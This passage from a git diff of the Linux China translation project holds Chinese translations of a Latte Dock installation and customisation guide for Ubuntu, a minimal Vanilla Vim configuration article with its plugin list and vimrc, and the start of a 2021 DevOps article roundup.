可以从软件中心获得][3] + +在 Ubuntu 和其他基于 Ubuntu 的发行版,如 elementary OS、Linux Mint、Pop!_OS、Zorin OS 上,使用 `apt` 命令: + +``` +sudo apt install latte-dock +``` + +这就行了!现在你已经在 Ubuntu 上安装了 Latte Dock。 + +#### 停用 Ubuntu 自带的停靠区(针对 Ubuntu 用户) + +在你启动你闪亮的新停靠区之前,我建议你禁用 Ubuntu 默认提供的停靠区。这里有一个 [关于如何禁用 Ubuntu 的停靠区的指南][4]。 + +要禁用停靠区,请在你的终端输入以下内容: + +``` +gnome-extensions disable ubuntu-dock@ubuntu.com +``` + +如果你最终改变了主意,你可以用以下命令再次启用 Ubuntu 停靠区: + +``` +gnome-extensions enable ubuntu-dock@ubuntu.com +``` + +> 注意: +> +> 这不能禁用 Pop!_OS 20.04 LTS 上的默认停靠区(尽管它在桌面上默认是隐藏的;只在活动概览中可见)。在使用 COSMIC 桌面环境/扩展的 Pop!_OS 上,你可以通过“设置Settings”应用中的“桌面Desktop -> 停靠区Dock”来禁用或启用停靠区。 + +### 开始使用 Latte Dock + +我在教程中使用的是 Pop!_OS,但这些步骤适用于任何 Linux 发行版。 + +一旦安装完毕,你会在你的应用程序抽屉里发现一个 Latte Dock 的启动器图标。你可以在这里访问它,或者按 `Super` 键(通常是 `Windows` 键;如果你有 Mac 键盘,则按 `Command` 键)键 + `A`。 + +从这里打开 Latte Dock: + +![应用抽屉里高亮显示的 Latte dock][5] + +酷!现在你的桌面上已经打开了 Latte Dock。 + +![桌面上的 Latte Dock 屏幕截图][6] + +#### 启用 Latte Dock 的自动启动功能 + +随着 Latte Dock 的打开,以及 Ubuntu 自带停靠区的禁用,如果你现在重启,那么下次你的电脑开机时就不会有任何停靠区了。 + +让我们现在就来解决这个问题。 + +在停靠区上点击右键。点击“布局Layouts”子菜单下的“配置Configure”选项。 + +![通过进入“布局” -> “配置” 启动设置面板窗口][7] + +现在,在“偏好Preferences”选项卡下,确保“在启动时启用自动启动Enable autostart during startup”复选框被选中。 + +![启用启动时自动启动复选框][8] + +### 定制你的停靠区 + +如果你安装了任何 KDE 的产品,定制应该是永无止境的。如果 Latte Dock 不允许定制,那就奇怪了。幸运的是,情况并非如此。 + +你可以做各种各样的事情来定制 Latte Dock。增加它的大小,使它更透明或半透明,为它设计主题等等。 + +#### 将应用程序固定在停靠区上 + +要把你的应用程序固定在 Latte Dock 上,打开该应用程序,右键点击在你停靠区中的应用程序图标。现在点击“固定启动器Pin Launcher”。完成了!你的应用程序现在已经被固定到了停靠区上。 + +![右击正在运行的应用程序并选择钉住启动器选项][9] + +你可以通过点击和拖动移动它到左边或右边来改变它在停靠区中的位置。 + +#### 搜索和安装 Latte Dock 主题 + +通过右击停靠区打开 Latte Dock 的“设置Settings”窗口,点击“布局Layout”子菜单下的“配置Configure”选项。 + +你可能已经安装了一些主题(呃...布局)。从已安装的选项列表中选择它,然后点击右侧的切换按钮。 + +![改变 Latte Dock 的主题][10] + +你也可以通过点击“下载Download”按钮来下载更多的主题。它应该向你显示一个可用的主题列表,以供安装。 + +![Latte Dock 插件安装窗口][11] + +#### 改变停靠区的外观和行为 + +正如我前面提到的,在 KDE 产品中有大量的定制选项。 + +让我们来试试。 + +右键点击停靠区,点击 “停靠区设置Dock Settings”。 + +![通过右键点击停靠区进入 Latte Dock 设置][12] + +在这里,你会得到各种类型的可以切换的选项。想把停靠区移到显示器的左侧吗?你可以通过“位置 Location”子菜单下提供的选项来实现。 + +![Dock 设置和定制窗口][13] + +如果你觉得可用的选项有任何限制,请拨动右上角的“高级Advanced”开关。 + +![现在可以看到带有高级选项的停靠区设置和定制窗口][14] + +现在看起来真是太棒了! + +试着切换每个可用的开关。你可以延迟隐藏停靠区。你可以把它放在显示器的一个边缘,把它放在该边缘的中心、左边或右边。你可以做到这一切。 + +想修饰启动、悬停等效果?在“效果Effects”选项卡下有更多的调整选项等待着你。 + +### 从你的系统中删除 Latte Dock + +你安装了 Latte Dock,并对其进行了定制,但觉得它不是你想要的东西。而你现在正在寻找删除 Latte Dock 的方法。很好,我帮你。 + +你可以使用 `apt` 软件包管理器删除 Latte Dock。用下面的命令来做: + +``` +sudo apt autoremove --purge latte-dock +``` + +![][15] + +`--purge` 标志将删除 Latte Dock 在系统目录中的任何配置文件,除了 `~/.config`。 + +#### 仅供高级用户使用:删除用户特定的遗留文件 + +这不是强制性的,但如果你想删除通常放在 `$HOME/.config`(即 `~/.config`)目录中的用户配置文件。[使用 find 命令][16] 来定位 Latte Dock 的配置文件: + +``` +find ~/.config -iname "latte*" +``` + +![][17] + +你可以安全地从你的 `~/.config` 目录中删除这些目录和配置文件。 + +#### 对于 Ubuntu 用户:重新启用 Ubuntu 停靠区 + +不要忘了启用 Ubuntu 的停靠区。如果你不记得了,再次启用停靠区的命令在下面: + +``` +gnome-extensions enable ubuntu-dock@ubuntu.com +``` + +### 总结 + +Latte Dock 是一个来自 KDE 社区的令人惊艳的停靠区 ( ͡° ͜ʖ ͡°) + +它提供了大量的主题(布局)、外观和自定义选项,以及一些漂亮的效果。如果你正在考虑定制你的桌面外观和感觉,它肯定是你应该寻找的东西。 + +如果你最终喜欢上了 Latte Dock 并开始每天使用它,请在评论中告诉我。如果你不喜欢 Latte Dock,也请发表评论让我知道原因。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-use-latte-dock-ubuntu/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/latte-dock.webp?resize=800%2C167&ssl=1 +[2]: https://invent.kde.org/plasma/latte-dock +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/latte-ubuntu-software-center.png?resize=800%2C384&ssl=1 +[4]: https://itsfoss.com/disable-ubuntu-dock/ +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/02_latte_in_drawer.webp?resize=800%2C450&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/03_latte_dock_launched.webp?resize=800%2C450&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/configure-latte-dock.png?resize=800%2C392&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/enable_autostart_latte_dock.webp?resize=800%2C433&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/pin-app-latte-dock.webp?resize=800%2C334&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/change-themes-latte-dock.webp?resize=800%2C393&ssl=1 +[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/08_download_layouts.webp?resize=800%2C450&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/latte_dock_settings.webp?resize=799%2C246&ssl=1 +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/11_customization_options.webp?resize=800%2C450&ssl=1 +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/12_customization_options_advanced.webp?resize=800%2C450&ssl=1 +[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/15_apt_get_remove.webp?resize=800%2C450&ssl=1 +[16]: https://linuxhandbook.com/find-command-examples/ +[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/13_find_configs.webp?resize=800%2C450&ssl=1 diff --git a/published/202203/20211208 Vanilla Vim is fun.md b/published/202203/20211208 Vanilla Vim is fun.md new file mode 100644 index 0000000000..d7094131de --- /dev/null +++ b/published/202203/20211208 Vanilla Vim is fun.md @@ -0,0 +1,351 @@ +[#]: subject: "Vanilla Vim is fun" +[#]: via: "https://opensource.com/article/21/12/vanilla-vim-config" +[#]: author: "Lukáš Zapletal https://opensource.com/users/lzap" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14326-1.html" + +简简单单的 Vim 就很好 +====== + +> 这就是我如何从 35 个 Vim 插件降到只有 6 个的原因。 + +![](https://img.linux.net.cn/data/attachment/album/202203/04/161603q6mmr6q7kkkd2yky.jpg) + +当你用 `—clean` 选项启动 Vim 时,它以 “素” 模式展示 Vim。没有插件、没有配置,一切回到了最初。多年来,我收集了一堆配置语句,其中一些可以追溯到 MS-DOS 或 Windows 3.1 时期。我是这样打算的:从头开始,只用 Fedora 35 中可用的插件,找到一个好的配置起点。我可以在一周的编码生活中生存下来吗?我会找到答案的! + +规则是这样的:尽可能少的配置语句,并且只使用 Fedora 35+ 中的插件。顺便说一下,如果你不是 Fedora 用户,也请继续阅读。你可以随时从你的操作系统软件包管理器手动安装或者使用 Vim 插件管理器安装这些插件。 + +在我开始之前,有一个大问题需要解决:用 Vim 还是 Neovim(Vim 的一个复刻)。好吧,这由你决定。这篇文章中的所有内容应该对两者都适用。然而,我只用 Vim 测试过。当你登录到一个只有 `vi` 可用的服务器时,所有的这些技能都会派上用场。它可以是一个旧的 UNIX 系统、一个安装了最少的软件以提高安全性的 Linux 服务器、一个容器中的交互式 shell,或者一个空间宝贵的嵌入式系统。 + +闲话少说,下面是我提炼出来的使用 Vim 进行编码的绝对最低限度的东西: + +``` +# dnf install --allowerasing vim-default-editor \ +        vim-enhanced \ +        vim-ctrlp \ +        vim-airline \ +        vim-trailing-whitespace \ +        vim-fugitive \ +        vim-ale \ +        ctags +``` + +不要担心 `—allowerasing` 选项。在确认之前,只需查看一下安装的东西。这个选项的作用是告诉软件包管理器把现有的 `nano-default-editor` 包替换为 `vim-default-editor`。这是一个小软件包,它在 shell 配置文件中将 `EDITOR` 环境变量设置为 `vim`,如果你想默认使用 Vim(例如,与 `git` 一起使用),这是必须的。这是专门针对 Fedora 的。你不需要在其他发行版或操作系统上这样做,只要确保你的 `EDITOR` shell 变量被正确设置就行。 + +### 概览 + +简单介绍一下我认为好的、干净的插件集: + + * **CtrlP**:尽可能小的模糊查找插件(纯 vimscript) + * **Fugitive**:一个 git 的必备工具 + * **Trailing-whitespace**:显示并修复(删除)尾部的空格 + * **Airline**:一个改进的状态行(纯 vimscript) + * **Ale**:在你打字时高亮显示错别字或语法错误 + * **Ctags**:不是 Vim 插件,但却是一个非常需要的工具 + +还有其他的模糊查找插件,如 command-t 或我最喜欢的 `fzf.vim`(非常快)。问题是,`fzf.vim` 不在 Fedora 中,而我想要尽可能少的配置。CtrlP 就可以了,而且配置它更容易,因为它不需要什么依赖。 + +如果让我选择一个绝对最小的配置,那就是: + +``` +# cat ~/.vimrc +let mapleader="," +let maplocalleader="_" +filetype plugin indent on +let g:ctrlp_map = '' +let g:ctrlp_user_command = ['.git/', 'git --git-dir=%s/.git ls-files -oc --exclude-standard'] +set exrc +set secure +``` + +但这可能太极端了,所以这里是一个稍大的配置,下面是我的详细解释: + +``` +" vim: nowrap sw=2 sts=2 ts=2 et: + +" leaders +let mapleader="," +let maplocalleader="_" + +" filetype and intent +filetype plugin indent on + +" incompatible plugins +if has('syntax') && has('eval') + packadd! matchit +end + +" be SSD friendly (can be dangerous!) +"set directory=/tmp + +" move backups away from projects +set backupdir=~/.vimbackup + +" fuzzy searching +let g:ctrlp_map = '' +let g:ctrlp_user_command = ['.git/', 'git --git-dir=%s/.git ls-files -oc --exclude-standard'] +nnoremap b :CtrlPBuffer +nnoremap t :CtrlPTag +nnoremap f :CtrlPBufTag +nnoremap q :CtrlPQuickfix +nnoremap m :CtrlPMRU + +" buffers and quickfix +function! ToggleQuickFix() + if empty(filter(getwininfo(), 'v:val.quickfix')) + copen + else + cclose + endif +endfunction +nnoremap w :call ToggleQuickFix() +nnoremap d :bd + +" searching ang grepping +nnoremap g :copen:Ggrep! +nnoremap K :Ggrep "\b\b":cw +nnoremap s :set hlsearch! hlsearch? + +" ctags generation +nnoremap c :!ctags -R . + +" per-project configs +set exrc +set secure +``` + +### 使用逗号作为引导键 + +我喜欢把我的 `引导键` 映射成逗号 `,`,而不是默认的反斜杠 `\`。当你的手处于书写位置时,它是 Vim 中最接近的自由键。另外,这个键在大多数键盘布局中都是一样的,而 `\` 在每个型号或布局都不一样。我很少使用 `本地引导键`,但下划线 `_` 看起来很合适。 + +延伸阅读: + + * 参见 [Vim 参考手册][2] 中的 `:help map-which-keys`。 + * 参见 [Vim Tips Wiki][3] 中的 Vim 中未使用的键。 + +### 文件类型和关闭语法高亮 + +接下来是非常重要的 `filetype` 命令。看,Vim 自带“内置电池”,8.2 版本包含 644 种语言的语法高亮,251 个文件类型定义(`ftplugins`),以及 138 种语言的缩进规则。然而,缩进在默认情况下是不启用的,也许是为了给所有人提供一个一致的编辑体验。我喜欢启用它。 + +一个简单的技巧:如果你正在编辑一个非常大的文件,并且 Vim 感觉很慢,你可能想禁用语法高亮来加快速度。只要输入 `:syn off` 命令即可。 + +延伸阅读: + + * 参见 [Vim 参考手册][4] 中的 `:help filetype`。 + * 参见 [Vim 参考手册][5] 中的 `:help syntax`。 + * 参见 [Vim 参考手册][6] 中的 `:help indent`。 + +### Matchit 插件 + +Vim 甚至额外带有使得一些功能不兼容的插件,其中一个相当有用。它就是 `matchit` 插件,它使按下 `%` 键可以在某些语言中查找匹配的括号。通常情况下,你可以找到一个块的开始或结束(开始和结束括号)或 HTML 匹配标签及类似的。 + +延伸阅读: + + * 参见 [Vim 参考手册][7] 中的 `:help matchit`。 + +### 交换文件 + +我想从我的旧配置中保留的许多设置之一是使用 `/tmp` 进行交换,并在我的家目录的一个单独目录中创建备份,你需要用 `mkdir ~/.vimbackup` 来创建这个目录。重要的是要明白,当你开始编辑时,Vim 会创建一个名为 “交换文件” 的副本,所有未保存的工作都会保存在这个文件中。所以即使停电了,你的交换文件也包含了大部分未保存的工作。我更喜欢使用 `tmpfs`,因为我所有的笔记本电脑和服务器都有 UPS 保护,而且我经常保存。另外,大多数情况下,你会使用到交换文件是当你的 SSH 连接丢失而不是由于停电时。对于大文件来说,交换文件可能相当大,我很珍视我的固态硬盘,所以我决定这样做。如果你不确定,可以删除这句话,使用 `/var/tmp`,这样更安全。 + +延伸阅读; + + * 参见 [Vim 参考手册][8] 中的 `:help swap-file`。 + +### 模糊寻找插件 + +现在,模糊查找是一个我不能没有的插件。在服务器上当你每天需要打开 20 个文件时,使用 `:Ex` 或 `:e` 或 `:tabe` 等命令打开文件是没问题的。而当编码时,我通常需要打开数百个文件。正如我所说,CtrlP 很好地完成了这项工作。它很小,没有依赖性,纯 Vim。它用 `Ctrl + P` 组合键打开,这对我来说有点奇怪。我知道一些著名的编辑器(我记得是 VSCode)使用这个组合键。问题是,这已经是很重要的 Vim 绑定键,我不想覆盖它。所以对我来说,赢家是 `引导键 + 引导键`(逗号按两次)。 + +`ctrlp_user_command` 只是改变了 CtrlP 获取文件列表的方式。它不使用内置的递归文件列表(glob),而是使用 `git ls-files`,这通常更好,因为它忽略了 `.gitignore` 中的东西,所以像 `node_modules` 或其他可能拖慢列表的不相关目录不会受到影响。 + +使用 `引导键` + `B`/`T`/`F`/`Q`/`M` 来打开缓冲区、标签、当前文件的标签、快速修复缓冲区和最近使用的文件的列表,非常有用。具体来说,一旦你用 `ctags` 生成了标签列表,这基本上就是数百种编程语言的“去……定义处”,而且不需要插件!这都是 Vim 内置的。现在澄清一下,当我说输入 `引导键 + B` 时,是指按下逗号,然后按 `B` 键,而不是像用 `Control` 或 `Shift` 那样一起按。 + +延伸阅读: + + * 参见 [Vim 参考手册][9] 中的 `:help Explore`。 + * 参见 [ctrlp.vim GitHub][10]。 + +### 缓冲区管理 + +虽然现在 Vim 支持标签,但缓冲区管理是掌握 Vim 的一个重要技能。我通常会有很多缓冲区,我需要经常做 `:bdelete`。那么,`引导键 + D` 似乎是一个不错的选择,可以更快地完成这个任务。我也喜欢关闭 Quickfix 窗口,所以也有 `引导键 + W` 的组合键,我在浏览搜索结果时经常使用这个功能。 + +延伸阅读: + + * 参见 [Vim 参考手册][11] 中的 `:help buffer-hidden`。 + +### Ggrep 和 fugitive 插件 + +说到搜索,它和打开文件一样重要。我希望能够对代码库进行检索。为此,有一个来自 fugitive 插件的很棒的 `:Ggrep` 命令,它使用 `git grep`,忽略了垃圾文件,只搜索 Git 中的内容。由于 `Shift + K` 是 Vim 中的一个自由键,它非常适用于自动检索光标位置的词语。最后,能够使用 `引导键 + G` 输入任意的搜索模式也很好。注意,这将打开一个叫做 Quickfix 的窗口,你可以在这里浏览结果、查看下一个/上一个/最后一个/第一个出现的地方,等等。这个窗口也用于编译器或其他工具的输出,所以要熟悉它。如果你对此感到陌生,我建议进一步阅读文档。 + +延伸阅读: + + * 参见 [Vim 参考手册][12] 中的 `:help quickfix`。 + * 参见 [vim-fugitive GitHub][13]。 + +### 用 fugitive 进行搜索、检索 + +顺便说一下,用 `/` 键搜索是智能和大小写敏感的,这意味着如果所有的搜索字符都是小写的,Vim 的搜索会忽略大小写。默认情况下,它会高亮显示结果,我觉得我已经敲了无数次的 `:noh`(来关闭高亮显示)。这就是为什么我有 `引导键 + S` 来切换高亮显示。我建议以后也多读读手册中关于搜索的内容。 + +接下来是搜索、检索。fugitive 插件已经为你提供了。使用命令 `:Ggrep pattern` 来进行 `git grep`,结果会进入 Quickfix 窗口。然后简单地使用快速修复命令(`:cn`、`:cp` 等等)浏览结果,或者简单地使用 `:CtrlPQuickfix`(`引导键 + Q`)来直观地滚动它们。CtrlP 的快速修复整合的酷炫之处是,你可以通过输入以匹配文件名或内容来进一步在搜索结果中搜索。 + +延伸阅读: + + * 参见 [Vim 参考手册][14] 中的 `:help grep`。 + * 参见 [Vim 参考手册][15] 中的 `:help noh`。 + * 参见 [vim-fugitive GitHub][13] 。 + +### Ctags + +`引导键 + C` 可以生成一个 ctags 文件,以便更好地导航,这在处理一个新的代码库或做一个有很多跳转的较长的编码任务时很有用。ctags 支持数百种语言,而 Vim 可以利用所有这些知识来导航。后面会有更多关于如何配置它的内容。注意我已经讨论过 `引导键 + T` 来打开所有标签的模糊搜索,记得吗?这两个是非常相同的。 + +延伸阅读: + + * 参见 [Vim 参考手册][16] 中的 `:help ctags`。 + * 参见 [Universal Ctags 网站][17]。 + +### 按键映射 + +能够通过在项目目录下创建一个 `.vimrc` 文件来覆盖该项目中的任何设置是一个好主意。只要把它放在(全局的) `.gitignore` 中,以确保你不需要在每个项目中编辑成千上万的 `.gitignore` 文件。这样的一个项目的 `.vimrc` 可以是这样的(对于使用 GNU Makefile 的 C/C++ 项目): + +``` +" coding style +set tabstop=4 +set softtabstop=4 +set shiftwidth=4 +set noexpandtab +" include and autocomplete path +let &path.="/usr/local/include" +" function keys to build and run the project +nnoremap :wall!:make! +nnoremap :!LD_LIBRARY_PATH=/usr/local/lib ./project +``` + +正如你所看到的,我通常将 `F2` 到 `F10` 等键映射到编译、运行、测试和类似的操作。用 `F9` 来调用 `make`,听起来不错。还记得 MS-DOS 上的蓝色 Borland IDE 吗? + +如前所述,在全局范围内忽略 `.vimrc` 和(由 `ctags` 生成的)`tags` 是个好主意,所以不需要每次都更新 `.gitignore`: + +``` +# git config --global core.excludesfile ~/.gitignore +# cat ~/.gitignore +/.vimrc +/tags +/TAGS +``` + +在我的个人配置中还有几条只与那些非美国键盘布局的人有关(我用捷克语)。我需要用“死键”来输入许多字符(LCTT 译注:“死键”是一种通过将变音符号与后面的字母结合起来打出重音字符的方法。这种方法在历史上被用于机械打字机),这根本不可能,我宁愿输入命令而不是按那些难以按下的组合键。这里有一个解决问题的办法: + +``` +" CTRL-] is hard on my keyboard layout +map +" CTRL-^ is hard on my keyboard layout +nnoremap :b# +nnoremap :bp +nnoremap :bn +" I hate entering Ex mode by accident +map Q +``` + +延伸阅读: + + * 参见 [Vim 参考手册][18] 中的 `:help map`。 + +功能键在 Vim 中都是自由的,除了 `F1`,它被绑定在帮助上。我不需要帮助,并不是说我已经会对 Vim 了如指掌,并不是。但如果需要的话,我可以简单地输入 `:help`。而 `F1` 是一个关键的键,离 `Esc` 键如此之近。我喜欢将它用于缓冲区交换(`:b#`),将 `F2`/`F3` 用作下一个/上一个。你越是与缓冲区打交道,你就越需要这个。如果你没有使用过 `Ctrl + ^`,我建议你要习惯于它。哦,你有没有丑陋地输入 `:visual` 进入过 Ex 模式?许多初学者都不知道如何从该模式下退出 Vim。对我来说,这就是打扰,因为我很少使用它。 + +现在,熟悉 `ctags` 是成功使用 Vim 的一个关键因素。这个工具支持数百种语言,它不小心就为你不想创建标签的文件创建它,因此我建议忽略典型的垃圾目录: + +``` +# cat ~/.ctags.d/local.ctags + --recurse=yes + --exclude=.git + --exclude=build/ + --exclude=.svn + --exclude=vendor/* + --exclude=node_modules/* + --exclude=public/webpack/* + --exclude=db/* + --exclude=log/* + --exclude=test/* + --exclude=tests/* + --exclude=\*.min.\* + --exclude=\*.swp + --exclude=\*.bak + --exclude=\*.pyc + --exclude=\*.class + --exclude=\*.cache +``` + +### Airline 插件 + +我一定不能忘记 Vim 的 Airline 插件。在 Fedora 的两个插件中,这个插件很轻量级,不需要外部依赖,而且可以开箱即用我所有的字体。你可以定制它,而且还有主题之类的东西。我只是碰巧喜欢它的默认设置。 + +我必须提到,有两个主要的 Ctags 项目:Exuberant Ctags 和 Universal Ctags。后者是一个更现代的复刻。如果你的发行版有,就用它。如果你在 Fedora 35+ 上,你应该知道你现在用的是 Universal Ctags。 + +### 总结 + +作为总结,我的建议是这样的。尽量保持你的 Vim 配置流畅和干净。这将在未来得到回报。在我转换到新配置之后,我不得不重新学习“写入并退出”的命令,因为我总是不小心把它打成 `:Wq`,而我在旧的配置里有一个“小技巧”,让它实际上按我的意思工作。好吧,这个可能真的很有用,并能入选,我希望你能明白我的意思: + +``` +:command Wq wq +:command WQ wq +``` + +最后的一个快速技巧是:你可能需要经常改变你的默认 Vim 配置,来找到我在这里向你介绍的和你自己口味之间的舒适区。使用下面的别名,这样你就不需要一直搜索历史。相信我,当一个 Vim 用户在命令历史里搜索 “vim” 时,找不到什么是相关的内容: + +``` +alias vim-vimrc='vim ~/.vimrc' +``` + +就是这些了。也许这可以帮助你在没有大量插件的情况下在 Vim 的丰富世界遨游。“简简单单” 的 Vim 也很不错! + +要尝试你刚刚读到的内容,请安装软件包并检出这些配置: + +``` +test -f ~/.vimrc && mv ~/.vimrc ~/.vimrc.backup +curl -s https://raw.githubusercontent.com/lzap/vim-lzap/master/.vimrc -o ~/.vimrc +mkdir ~/.vimbackup +``` + +特别感谢 Marc Deop 和 [Melanie Corr][19] 对本文的审阅。 + +### 更新 + +我已经在这种配置下生存下来了!我唯一的纠结是 CtrlP 插件的结果顺序不同。文件的模糊算法与 `fzf.vim` 插件不同,所以我以前用各种搜索词能找到的文件现在找不到了。我最后安装了 Fedora 的 fzf 包以获得更相关的文件搜索,它附带了一个 vim 函数 `FZF`,可以绑定到引导键组合上。请看我的 [GitHub 仓库][20] 中更新后的配置文件。一路走来,我学到了很多东西。有一些键的绑定我已经忘记了,这要感谢许多插件。 + +这篇文章最初发表在 [作者的网站][21] 上,经许可后重新发表。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/vanilla-vim-config + +作者:[Lukáš Zapletal][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/lzap +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hot drink at the computer) +[2]: https://vimhelp.org/map.txt.html#map-which-keys +[3]: https://vim.fandom.com/wiki/Unused_keys +[4]: https://vimhelp.org/filetype.txt.html +[5]: https://vimhelp.org/syntax.txt.html +[6]: https://vimhelp.org/indent.txt.html +[7]: https://vimhelp.org/usr_05.txt.html#matchit-install +[8]: https://vimhelp.org/recover.txt.html#swap-file +[9]: https://vimhelp.org/pi_netrw.txt.html#netrw-explore +[10]: https://github.com/kien/ctrlp.vim +[11]: https://vimhelp.org/windows.txt.html#buffer-hidden +[12]: https://vimhelp.org/quickfix.txt.html +[13]: https://github.com/tpope/vim-fugitive +[14]: https://vimhelp.org/quickfix.txt.html#grep +[15]: https://vimhelp.org/pattern.txt.html#noh +[16]: https://vimhelp.org/tagsrch.txt.html +[17]: https://ctags.io +[18]: https://vimhelp.org/map.txt.html +[19]: https://opensource.com/users/melanie-corr +[20]: https://github.com/lzap +[21]: https://lukas.zapletalovi.com/2021/11/a-sane-vim-configuration-for-fedora.html diff --git a/published/202203/20220103 13 examples of how DevOps facilitated transformation in 2021.md b/published/202203/20220103 13 examples of how DevOps facilitated transformation in 2021.md new file mode 100644 index 0000000000..7a7c433bf2 --- /dev/null +++ b/published/202203/20220103 13 examples of how DevOps facilitated transformation in 2021.md @@ -0,0 +1,87 @@ +[#]: subject: "13 examples of how DevOps facilitated transformation in 2021" +[#]: via: "https://opensource.com/article/22/1/devops-transformation" +[#]: author: "Will Kelly https://opensource.com/users/willkelly" +[#]: collector: "lujun9972" +[#]: translator: "CN-QUAN " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14323-1.html" + +2021 总结:DevOps 促进转型的 13 个例子 +====== + +> 2021 年,我们的顶级 DevOps 文章聚焦于工具、最佳实践和最关键的部分:转型。 + +![](https://img.linux.net.cn/data/attachment/album/202203/03/112426i6am9jokk88z9n89.jpg) + +2021 年对于 DevOps 来说是激动人心的一年,开发团队不断适应远程和混合工作模式。这一年最受欢迎的 DevOps 文章展示了我们的社区如何关注工具、创新、最佳实践和转型。 + +### DevOps 工具和创新 + +该行业的工具仍然是读者的首选读物。[Nimisha Mukherjee][2] 是红帽的一名工程经理,她编写了 [面向开发人员的 13 个开源工具][3]。她将工具分为“内环”和“外环”两个部分,“内环”是开发人员最常见的任务,“外环”是开发人员的代码通过持续集成和交付(CI/CD)部署到生产环境的地方。 + +我们的读者对实现 DevOps 工具链的兴趣也很高。首次投稿的 [Tereza Denkova][4] 是一家 IT 专业服务公司 Accedia 的营销助理,他撰写了 [如何实现 DevOps 工具链][5],并将其与创新紧密联系在一起。 + +### DevOps 实践 + +[Daniel Oh][6] 是我们的主要支持者,也是一位多产的内容创作者,他写了 [2021 年需要关注的 3 个无服务器策略][7],概述了当今无服务器应用程序开发和部署方法是如何加速采用 DevApps 实践的。 + +[Evan “Hippy” Satis][8] 在他的文章 [解决 CI/CD 中的存储库阻抗不匹配][9] 中提供了调整部署映像和描述符的策略。他是红帽公司的高级顾问,他在文章中采用的有条不紊的方法证明了他的行业经验。另外,请参阅他的文章 [在 shell 中处理模块化和动态配置文件][10]。 + +在我的文章 [DevOps 文档指南][11] 中,我提出了让文档成为 DevOps 讨论的一部分的理由。我从读者那里得到了一些有见地的评论,因此我正在为未来的一篇文章跟进这些评论。 + +### DevOps 转型 + +我们有时不相信 DevOps 能够适应组织需求。理解其他形式的运维的潜在影响是非常必要的,这些运维可能在现在或将来补充或增强 DevOps。[Bryant Son][12],一个自称是章鱼猫Octocat的人,在 [GitOps 和 DevOps 有何不同?][13] 中提出 GitOps 是 DevOps 的进化形式。 + +[Mike Calizo][14] 是新西兰奥克兰的一位红帽公司解决方案架构师,他撰写了 [如何成功采用 DevSecOps][15]。本文将介绍他作为解决方案架构师的经验。他解释了在你迁移到 DevSecOps 的过程中可能会遇到的一些安全挑战。 + +我写了一系列关于 DevOps 到 DevSecOps 转型的文章。它们是: + + * [启动从 DevOps 到 DevSecOps 的转型][16] + * [开始 DevSecOps 转型的 3 个阶段][17] + * [遵循 DevSecOps 成熟度模型][18] + * [DevSecOps 转型的另外 3 个阶段][19] + * [使 DevSecOps 的采用成为团队努力的 4 个步骤][20] + +### 2022 年和 DevOps 的未来 + +看到 DevOps 的文章登上了 2021 年最受欢迎的名单,说明 DevOps 将迎来一个更加有趣的 2022 年,因为组织正在继续掌握他们的工具,改进他们的战略,并继续他们的 [数字化转型][21],以便在不断变化的市场中有效地竞争。 + +感谢所有阅读我们的 DevOps 文章、喜欢这些文章,并通过网站和社交媒体给我们发送评论的人。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/devops-transformation + +作者:[Will Kelly][a] +选题:[lujun9972][b] +译者:[CN-QUAN](https://github.com/CN-QUAN) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/willkelly +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) +[2]: https://opensource.com/users/nimisha +[3]: https://opensource.com/article/21/6/open-source-developer-tools +[4]: https://opensource.com/users/tereza-denkova +[5]: https://opensource.com/article/21/1/devops-tool-chain +[6]: https://opensource.com/users/daniel-oh +[7]: https://opensource.com/article/21/1/devapps-strategies +[8]: https://opensource.com/users/hippyod +[9]: https://opensource.com/article/21/8/impedance-mismatch-cicd +[10]: https://opensource.com/article/21/5/processing-configuration-files-shell +[11]: https://opensource.com/article/21/3/devops-documentation +[12]: https://opensource.com/users/brson +[13]: http://opensource.com/article/21/3/gitops +[14]: https://opensource.com/users/mcalizo +[15]: https://opensource.com/article/21/2/devsecops +[16]: http://opensource.com/article/21/10/devops-to-devsecops +[17]: 